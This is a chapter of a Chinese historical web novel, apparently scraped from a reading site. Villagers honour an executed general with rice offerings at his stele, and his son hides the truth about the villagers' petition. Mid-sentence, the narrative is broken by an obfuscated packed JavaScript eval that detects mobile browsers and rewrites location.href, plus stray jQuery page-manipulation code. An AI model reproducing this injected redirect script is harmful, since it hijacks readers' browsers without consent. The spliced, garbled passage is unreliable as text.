郊外枯草连天。


    风卷起地面的干土，有点迷眼，卫瓴抬手遮住额，站在路边，望向陆陆续续的人。


    他们这是干什么去？


    为何如此多的人，像是受了某种指引，不约而同来此。


    连枝与杨恪也面露不解，三人站在一旁，让开了土路。


    寒冬料峭，百姓的衣裳很厚实，像个奇形怪状的囊肿，腰间缠了一圈杂草，袖口打了蜡一样，在日头下油亮反光。


    路过带有一股熏人的汗垢、霉腥味，从卫瓴身边过去。


    无意间看到了什么，卫瓴脸上的神色空了一瞬，眼神中出现了迷茫无知，发丝横过双眸，抬头朝他背影望去。


    方才走过去的那个老翁，粗布衣服上破了个洞，像是被什么刮开了，撕口整齐，耷拉下一片布。


    露出了里面的填充物，里面塞了满当当的，稻草、麦秸和芦花。


    那么厚实、保暖的衣裳里，塞得原来是……


    喂马、烧火、编鞋的草吗？


    卫瓴从小喜欢看杂书，几乎读遍了寝殿内四处搜罗来的书，自然知晓草的诸多用法。


    天工书里麦秸可以切碎和泥，增强土砖的韧性、强度，能铺屋顶，能作饲料，还能粉碎了撒回田间，腐烂后滋养土壤，助长来年收成……


    原来，还可以填充在单衣里，夹在两片打了布丁的布里，用一把枯草，熬过一个狂风暴雪的冬天吗。


    ……


    卫瓴低头，伸手轻轻托住一朵冬风捎来的碎芦花，芦苇花很轻，她根本感觉不到它的重量，柔柔的，像抓住了水雾里的飞花。


    她迷茫地捏起来，扭头，“连枝？……这个和棉花一样、暖吗？”


    连枝看向她的脸。


    卫瓴像个几岁稚子，一双澄净、无邪的眸子，求知若渴地望着她，静静地、乖巧地等待连枝的答复。


    连枝的嗓子像一下被人掐住了，她丧失了说话的能力。


    风骤起，卫瓴指间的芦苇花一路高飞，飘向了远天。


    她就那样保持着捏住芦花的动作，面上是不知所向的茫然、空白。


    她好像在思考，又好像迷失了，不知道怎么给自己一个答案，说服自己衣服里填了草也可以御寒，稻草、麦秸也能保暖。


    何不食肉糜。


    是芦花，同棉花一样暖吗？


    一个东西塞入空落落的手心，卫瓴下意识攥住了，没让它掉下去。


    她现在需要抓住点什么，总要抓住点什么。


    杨恪放入她手心一粒念珠，平静似水地说，“殿下，我在边陲跟着父亲的时候，老百姓会在地里放个稻草人，赶走来地里糟蹋庄稼的鸟，稻草捆成人，套件儿衣服，就是个稻草人了，而百姓，他们、是行走的稻草人。”


    衣裳里跑出来的麦秸和芦花，多么微不足道的细节，给了卫瓴巨大的冲击和混乱。


    她猛然发觉，自己好像从来没有认真去看过这个天下，没有见过苍生。


    卫瓴的视线不清。


    杨恪伸手接住她下颌滚落的泪水，像一颗珍珠砸在了掌心，曲起手指，他的声音里也有了些迷茫，“所以父亲说，我们的职责，就是守住那片地，让他们一辈子能有个打转儿的地方。到头来，他们吃了粮，又在万民状上摁了手印，反成了压死我父亲的，那根稻草。”


    卫瓴收紧手里的三通珠，护了一生的稻草，到头来压在了自己的背上，三通珠，是起点，也是终点。


    杨恪将手轻攥起来，握着那滴泪，看向了不远处走成一队的百姓。


    他的眼里没有恨，没有怨，也没有释怀，只有天地间枯燥索然、没有半分色彩的景色。


    卫瓴的记忆深处，有一个声音响起——


    他确实劫了军粮，没饱私囊，全拿去赈了灾，到头来却让难民反咬一口。


    这种人，为了心里那点道义，根本不管退路，怎么可能让他活。


    她深吸了一口寒凉。


    “小伙子，你们也是来送粮吗？”


    路过的大伯问。


    杨恪微愕，无声点了点头。


    中年大伯扫过三人，弓背揣着手，没有恶意，“你们三人应是一起的吧？在这儿站半天了，既然来了，去看看他吧，他肯定也想见见小辈，走吧，我带你们过去。”


    待他们排过去，人已经走得差不多了。


    在队伍的尽头，有一块碑。


    碑前放了一个碗。


    一个妇女跪在碑前，怀里抱了个婴孩，她抓着婴儿的手，从自己带的破碗里拨出了一粒生米。


    嗒。


    米进了碑前的碗。


    妇女拨开襁褓，露出婴儿稚嫩的小脸，在粗糙黄土上如同个嫩骨朵儿，往碑前递了递。


    “将军，您看，这是我儿子，长生，就是当初您说，将来能和您一块儿保家卫国的孩子，长生定是也知道要来见您，今天一直没闹腾，他还学会喊娘了，我那会儿忙活着盛……”


    “哇、哇、哇——”


    怀里乖巧的孩子突然开始号啕大哭。


    妇女的泪水决了堤，抖着俯下身，深深将头磕在土地上，泣不成声。


    “您的大恩大德，我这辈子都还不了了啊。”


    婴儿嘹亮的哭声在广阔的郊外，乘着风，穿过枯草，传去很远的地方。


    直要穿梭过岁月的沧桑和沟壑，挽住湮没在长河中的真心和赤诚。


    逝去了的也永存，了无生机的荒原上，燃起了生生不息、火光冲天的熊熊大火，烧到天秽地也老，烧到历史也断流。


    妇女抱着孩子走后，大伯跪到碑前，松垮、自然地坐在自己脚上，他没挎篮子，直接刺啦啦从怀里掏出一把烧纸，点着了。


    边用干枝挑着烧，边唠，“拿米换的，我知道，肯定嫌我整这没用的，但我这不是，怕您没钱花吗？”


    老翁、老妪、稚子，男女老少无论是谁，无论碗里带没带米，都向碑前碗里拨了一下，然后离开。


    一点点细碎的火星升起。


    跟着火星，卫瓴看向那块碑上刻下的碑文。


    碑额：永怀


    赐粮恩公，永世不忘


    落款：万民敬立


    她转头，望向身侧的杨恪，这里原来是，百姓立给杨将军的碑，未提姓名，但无人不知、不识、不认，此方庇佑神。


    他们来此，一人往碑前的碗里拨进去一粒米，有的空拨一粒。


    一粒，一粒。


    碗已经满了。


    大伯说，“他要是……还活着，保佑保佑岩子，回家来吧，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784286|182645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘还在家等呢，棉袄都已经给他棉好了。青州那个地儿啊，远，也没人去过，估计是莽撞了，您给几个孩子指个道儿，冬天就别打外拐了，快点儿家来吧。”


    纸烧完了。


    “行了，钱这也有的花了，我回了，等岩子回来，我爷俩再带点儿酒来，和你喝上两盅。”


    其他人都送完米走了，只剩了卫瓴三人和他，大伯扶地起身，朝他们点了点头，从身边过去。


    “请慢。”杨恪喊住。


    大伯转身。


    杨恪说，“我也从青州过，您方才口中那些人，我兴许见过，不知他们去青州，是为何事？”


    “你去过青州？”


    大伯猛地抓住了救命稻草，神色都变了。


    “那你可知道，杨将军的罪名，洗清了吗？？？他们全家都是好人，不能就这样儿带着污名下去啊。”他情绪激动。


    大伯急步上前，却先问了杨将军，目光殷切，里面有剧烈的情绪波动，闪着期冀的、让人不忍直视的星子，像动人的水在一层层涌动。


    杨恪皱起了眉心。


    “陛下知道他没贪墨了吗？当初我们虽是签了状，可还是放心不下，这么大的案子，万一判错了，我儿子和一帮孩子，上青州陈情，为将军做人证去了，有用了吗？”


    杨恪如同一棵劲柏扎在了地上，下颌线像紧绷的弓弦，牙关紧闭，有水在眼眶里打转儿，久久不落下。


    大伯又追问，“那万民状呢，管用了吗？县令说只要能证明粮不是将军贪的，就能没事儿，老少爷们儿，都按了手印，粮都是我们吃的，将军没贪一粒儿米啊。”


    那万民状……管用了吗？


    那万民状啊，成了切切凿凿的铁证。


    把他钉死在了刑柱上。


    杨恪下颌锁死，颈侧的青筋，像条蜈蚣一路爬上去，他的眼皮颤动，抿紧了薄唇，闭上了眼，一滴隐忍的泪，顺着脸的起伏流下去，掉进了地里。


    卫瓴震惊地睁大了眼，胸口好像突然出现了一个大洞，不停灌凉风。


    他们以为奉上去的万民状，是雪中的炭，旱中的霖，是去救杨岳城的，他们以为自己托了杨岳城一把。


    怎得如此残忍，要怎么跟他们说，要怎么措辞，要怎么掂量口里吐出的每一句话，每一个字，告诉他们，你们也是轧死他的扎轮。


    路遥。


    连冬风都先来了，他们静候的佳音，仍在等待。


    再等待。


    再睁开眼，杨恪的眼球已经爬满了血丝，牵强扯起嘴角，露出了他的浅梨涡，嘴旁的肌肉颤抖着，弯眸笑。


    轻道。


    “有用了……”


    “有用了？”


    “对，有用了。”


    杨恪又坚定地说了一遍，“有用了。”


    大伯失神地点头，仰起头看向四周，脸上露出会心的笑，“那就好，那就好，太好了，太好了，算他们没白去，那估计也快回来了，过年之前应该就能回来了……”


    “我帮你找吧，天凉了，大伯，回家去吧，我替你找他们，我一定，带他们回家。”杨恪帮他把身上的纸灰拂掉。


    “多谢你了，小伙子，我现在就回去告诉他们，将军总算能清白了，啊，对了，你是谁家的孩子呀？”